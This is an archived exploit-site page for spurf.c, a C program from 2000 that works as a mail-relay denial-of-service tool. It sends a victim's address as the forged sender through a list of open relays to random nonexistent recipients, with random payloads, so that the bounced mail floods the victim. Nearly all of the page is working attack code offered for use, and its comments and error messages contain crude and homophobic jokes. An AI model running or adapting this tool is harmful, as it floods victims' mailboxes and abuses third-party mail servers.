exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

spurf.c

spurf.c
Posted Feb 23, 2000
Authored by Missinglnk | Site tribune.intranova.net

A little mail-like 'smurf' that uses mail relays instead of broadcasts.

tags | denial of service
SHA-256 | 126ffdb072440ea199f8c3cf4a9f678df92c6ea8c85fdced2af0b70874d3668b

spurf.c

Change Mirror Download
/*
* spurf 0.1
* =========
* fuck packeting, spam them to hell, jersey, and back
* (c) 2000 - missnglnk <missnglnk@tribune.intranova.net>
* greets: ging3r, sectorx, tino, arakis, phonz, cypherus, cyberops,
* gated, ti, moo, nivfreak, any #include kids i missed.
* =========
* THOU SHALT CRASH AND BURN IF THOU USETH THIS FOR NONBIBLICAL
* PURPOSES. THY ASS SHALL BE REAMED 777 TIMES BY YOUR FAITHFUL
* LORD AND SAVIOR, BUBBA.
* (you get the drift)
* =========
* I'm not cool enough for the parties, so I sit at home and
* find ways to piss off those who are. While coding, I mapped
* out all the possible situations I might have faced if I tried
* to go to a party I wasn't invited to, mainly to make myself
* feel better. E-mail future party invitations to
* missnglnk@tribune.intranova.net, I'll gladly accept
* government parties or *gasp* CORPORATE SCUM invitations.
* </cry^H^H^H^H^H
* </rant>
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/param.h>

#define RANDOM_DATA "/dev/urandom"
extern int errno;

void usage(void)
{
printf("spurf [-t target] [-f relays] [-n messages] [-s size]\n");
exit(-1);
}

int main(int argc, char **argv)
{
int args;
char *target;
char *relayfile;
int msgcnt;
int msglen;
FILE *relays;
char relay[MAXHOSTNAMELEN];

printf("spurf 0.1 by missnglnk\n");
printf("http://tribune.intranova.net\n\n");

if (argc < 2) {
usage();
}

target = NULL;
relayfile = NULL;
msgcnt = -1;
msglen = -1;

while ((args = getopt(argc, argv, "t:f:n:s:")) != -1) {
switch(args) {
case 't':
if (strlen(optarg) > 128) {
printf("[spurf]\tridiculous email address\n\n");
return -1;
}

target = optarg;
break;
case 'f':
relayfile = optarg;
break;
case 'n':
msgcnt = atoi(optarg);
break;
case 's':
msglen = atoi(optarg);
if (msglen < 128) {
printf("[spurf]\tridiculous size\n\n");
return -1;
}
break;
case '?':
default:
usage();
break;
}
}

argc -= optind;
argv -= optind;

if (target == NULL || relayfile == NULL || msgcnt == -1 || msglen == -1) {
printf("[spurf]\tyou have no clue about tonight's party\n");
printf("[error]\tmissing arguments\n\n");
usage();
}

if ((relays = fopen(relayfile, "r")) == NULL) {
printf("[spurf]\tyou cant pick the lock on johnny cool's locker\n");
printf("[error]\t%s\n\n", strerror(errno));
return -1;
}

while (fgets(relay, MAXHOSTNAMELEN, relays) != NULL) {
relay[strlen(relay) - 1] = NULL;
if (spurf(target, relay, msgcnt, msglen) == -1) {
printf("[spurf]\t%s failed\n\n", relay);
}
}

if (fclose(relays) < 0) {
printf("[spurf]\tyou and your bloody, loose ass walk past the village people\n");
printf("[error]\t%s\n\n", relayfile, strerror(errno));
return -1;
}

return 0;
}

int spurf(char *target, char *relay, int msgnum, int msglen)
{
FILE *randfile;
int i;
int sock;
char *randdata;
char rcvbuf[1024];
char msgline[msglen];
struct hostent *he;
unsigned long ip;
struct sockaddr_in sin;

if ((randdata = malloc(msglen)) == NULL) {
printf("[spurf]\tyou get caught stealing an invitation\n");
printf("[error]\t%s\n", msglen, strerror(errno));
return -1;
}

if ((he = gethostbyname(relay)) != NULL) {
ip = *(unsigned long *)he->h_addr;
} else {
if ((ip = inet_addr(relay)) == NULL) {
printf("[spurf]\tgot caught making copies at kinko's\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}
}

bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = ip;
sin.sin_port = htons(25);

for (i = 1; i <= msgnum; i++) {
if ((randfile = fopen(RANDOM_DATA, "r")) == NULL) {
printf("[spurf]\tcouldnt find party invitation\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

if (fread(randdata, msglen, 1, randfile) < 1) {
printf("[spurf]\tyour cool party clothes are locked in mom's room\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

if (fclose(randfile) < 0) {
printf("[spurf]\tcouldnt hide them from mom quick enough\n\t%s\n", strerror(errno));
free(randdata);
return -1;
}


if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
printf("[spurf]\tgot caught climbing out the window\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
printf("[spurf]\tbedsheet we're climbing down ripped in half\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("[spurf]\tno more standing or sitting space\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

if (strstr(rcvbuf, "220") == NULL) {
printf("[spurf]\tmissed the motherfucking bus *again*\n");
printf("[error]\t%s", rcvbuf);
free(randdata);
return -1;
}

snprintf(msgline, msglen, "HELO tribune.intranova.net\n");
if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
printf("[spurf]\tgot chumped by the bus driver\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("[spurf]\tno more standing or sitting space\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

if (strstr(rcvbuf, "250") == NULL) {
printf("[spurf]\tguy sitting next to you grabbed your ass\n");
printf("[error]\t%s", rcvbuf);
free(randdata);
return -1;
}

snprintf(msgline, msglen, "MAIL FROM: %s\n", target);
if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
printf("[spurf]\tgot bitchslapped after telling a girl you're from jersey\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("[spurf]\tembarassed to read her number with your glasses on\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

if (strstr(rcvbuf, "250") == NULL) {
printf("[spurf]\tyou make out her name, b-r-u-c-e\n");
printf("[error]\t%s", rcvbuf);
free(randdata);
return -1;
}

snprintf(msgline, msglen, "RCPT TO: %ld@%s\n", random(), relay);
if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
printf("[spurf]\tyou realize you're on the wrong bus\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("[spurf]\tyou miss your stop and end up in the desert\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

if (strstr(rcvbuf, "250") == NULL) {
printf("[spurf]\tthis invitation is to the other party 3 months ago\n");
printf("[error]\t%s", rcvbuf);
free(randdata);
return -1;
}

snprintf(msgline, msglen, "DATA\n");
if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
printf("[spurf]\tyour excuse is full of shit\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("[spurf]\tyou dont know whether to explain or not\n");
printf("[error]\t%s\n", rcvbuf);
free(randdata);
return -1;
}

if (strstr(rcvbuf, "354") == NULL) {
printf("[spurf]\tyou get punched in the mouth starting to explain\n");
printf("[error]\t%s", rcvbuf);
free(randdata);
return -1;
}

snprintf(msgline, msglen, "%s\r\n.\r\n", randdata);
if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
printf("[spurf]\tyou get punched in the mouth while explaining\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("[spurf]\tyou're unconscious for some silly reason\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

if (strstr(rcvbuf, "250") == NULL) {
printf("[spurf]\tyou get kicked out before the party starts\n");
printf("[error]\t%s", rcvbuf);
free(randdata);
return -1;
}

snprintf(msgline, msglen, "QUIT\n");
if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
printf("[spurf]\tyou're whacked with a broom before the door\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("[spurf]\tyou cant tell who's hitting you\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

if (strstr(rcvbuf, "221") == NULL) {
printf("[spurf]\traving homos come downstairs and wont let you leave\n");
printf("[error]\t%s", rcvbuf);
free(randdata);
return -1;
}

if (close(sock) < 0) {
printf("[spurf]\tyou cant keep your ass closed tight enough\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}
}

return 0;
}
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    49 Files
  • 16
    Oct 16th
    28 Files
  • 17
    Oct 17th
    23 Files
  • 18
    Oct 18th
    10 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    5 Files
  • 22
    Oct 22nd
    12 Files
  • 23
    Oct 23rd
    23 Files
  • 24
    Oct 24th
    9 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close